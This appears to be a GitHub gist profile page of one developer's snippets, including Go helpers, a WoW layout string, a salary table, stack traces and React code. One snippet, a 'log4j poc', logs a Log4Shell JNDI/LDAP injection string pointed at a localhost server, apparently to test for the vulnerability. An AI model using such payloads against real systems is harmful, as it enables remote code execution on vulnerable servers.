Skip to content

Instantly share code, notes, and snippets.

View punmechanic's full-sized avatar

Dan punmechanic

View GitHub Profile
@punmechanic
punmechanic / layout
Created April 10, 2023 23:29
wow layout
0 35 0 0 1 7 7 UIParent 0.0 45.0 -1 ##$$%/&('%)$+# 0 1 1 6 0 MainMenuBar 0.0 5.0 -1 ##$$%/&('%(#,# 0 2 1 6 0 MultiBarBottomLeft 0.0 5.0 -1 ##$$%/&('%(#,# 0 3 0 5 5 UIParent -2195.3 -438.8 -1 #$$%%/&('%(#,# 0 4 1 2 0 MultiBarRight -5.0 0.0 -1 #$$$%/&('%(#,$ 0 5 1 1 4 UIParent 0.0 0.0 -1 ##$$%/&('%(#,$ 0 6 1 1 7 MultiBar5 0.0 0.0 -1 ##$$%/&('%(#,$ 0 7 1 1 7 MultiBar6 0.0 0.0 -1 ##$$%/&('%(#,$ 0 10 1 6 0 MainMenuBar 0.0 5.0 -1 ##$$&('% 0 11 1 6 0 MainMenuBar 0.0 5.0 -1 ##$$&('%,# 0 12 1 6 0 MainMenuBar 0.0 5.0 -1 ##$$&('% 1 -1 1 4 4 UIParent 0.0 0.0 -1 ##$# 2 -1 1 2 2 UIParent 0.0 0.0 -1 ##$# 3 0 1 8 7 UIParent -300.0 250.0 -1 $#3# 3 1 1 6 7 UIParent 300.0 250.0 -1 %#3# 3 2 1 3 5 TargetFrame -10.0 0.0 -1 %#&#3# 3 3 0 0 0 UIParent 748.0 -378.6 -1 '$(#)#-k.G/#1#3* 3 4 0 0 0 UIParent 15.5 -434.0 -1 ,$-7.=/#0#1#2( 3 5 1 5 5 UIParent 0.0 0.0 -1 &$*$3# 3 6 1 5 5 UIParent 0.0 0.0 -1 3# 4 -1 1 7 1 MainMenuBar 0.0 5.0 -1 # 5 -1 1 6 0 MainMenuBar 0.0 5.0 -1 # 6 0 1 2 0 MinimapCluster -10.0 -10.0 -1 ##$#%#&.(()( 6 1 1 2 8
package main
import (
"bufio"
"fmt"
"net/http"
"os"
"strings"
"sync"
@punmechanic
punmechanic / bind_flags.go
Created January 7, 2022 04:45
crimes were committed to implement a small version of binding flags to an arbitrary struct
package bind_flags
import (
"reflect"
"github.com/spf13/pflag"
)
type Target struct {
Foo string `flag:"flag-name"`
}
@punmechanic
punmechanic / Main.java
Created December 11, 2021 22:41
log4j poc
// place this in src/main/java
package main;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Main {
public static void main(String[] args) {
Logger log = LogManager.getLogger();
log.error("Test {}", "${jndi:ldap://127.0.0.1:8080/log4j-vuln}");
// A graph is a data structure which has several Nodes connected by Edges. Each Node has some data, and Edges may have properties as well.
// Graphs can be cyclical and tend to not be directional, although they can be directional if the implementation requires it.
package main
import "fmt"
type Hashable[K comparable] interface {
Hash() K
}
title date tags
Pay Transparency 2023
2023-02-11 16:45:00 -0800
Salary Year Title Employer Location Rent (pcm) Bonuses
£16k 2013 Junior GIS Application Developer Pragmatic Systems Newport, Wales £400 None
£18k 2013 Systems Analyst and Developer RUMM Ystrad Mynach, Wales approx £560 None
package cli
type awsConfig struct {
ini *ini.File
Path string
}
func (a* awsConfig) Append(entry AWSCliEntry) {
// Runtime error - a.ini is nil
a.ini.Section(entry.profileName)
panic: invalid sql type AttributeMap (map) for sqlite3
goroutine 1 [running]:
github.com/jinzhu/gorm.(*sqlite3).DataTypeOf(0xc0001a05c0, 0xc0000e9e00, 0x6, 0x6d68b8)
/home/dan/gopath/pkg/mod/github.com/jinzhu/gorm@v1.9.15/dialect_sqlite3.go:64 +0x751
github.com/jinzhu/gorm.(*Scope).createTable(0xc0001a2180, 0xc000192698)
/home/dan/gopath/pkg/mod/github.com/jinzhu/gorm@v1.9.15/scope.go:1173 +0x27c
github.com/jinzhu/gorm.(*Scope).autoMigrate(0xc0001a2180, 0x683640)
/home/dan/gopath/pkg/mod/github.com/jinzhu/gorm@v1.9.15/scope.go:1269 +0x400
github.com/jinzhu/gorm.(*DB).AutoMigrate(0xc000197860, 0xc0000d9f40, 0x1, 0x1, 0x1)
function expandAllRefs(
rootDoc,
currentValue = rootDoc,
update = cannotUpdateRootNode
) {
// This is definitely a sin
// Boy, I would hate to find out the performance of this in deeply nested code
for (const key of Object.keys(currentValue)) {
const value = currentValue[key];
import React from 'react';
import Resource from '../Resource';
function timeout(ms) {
return new Promise(resolve => {
setTimeout(() => resolve(), ms);
});
}
function fetchLoginAttempt() {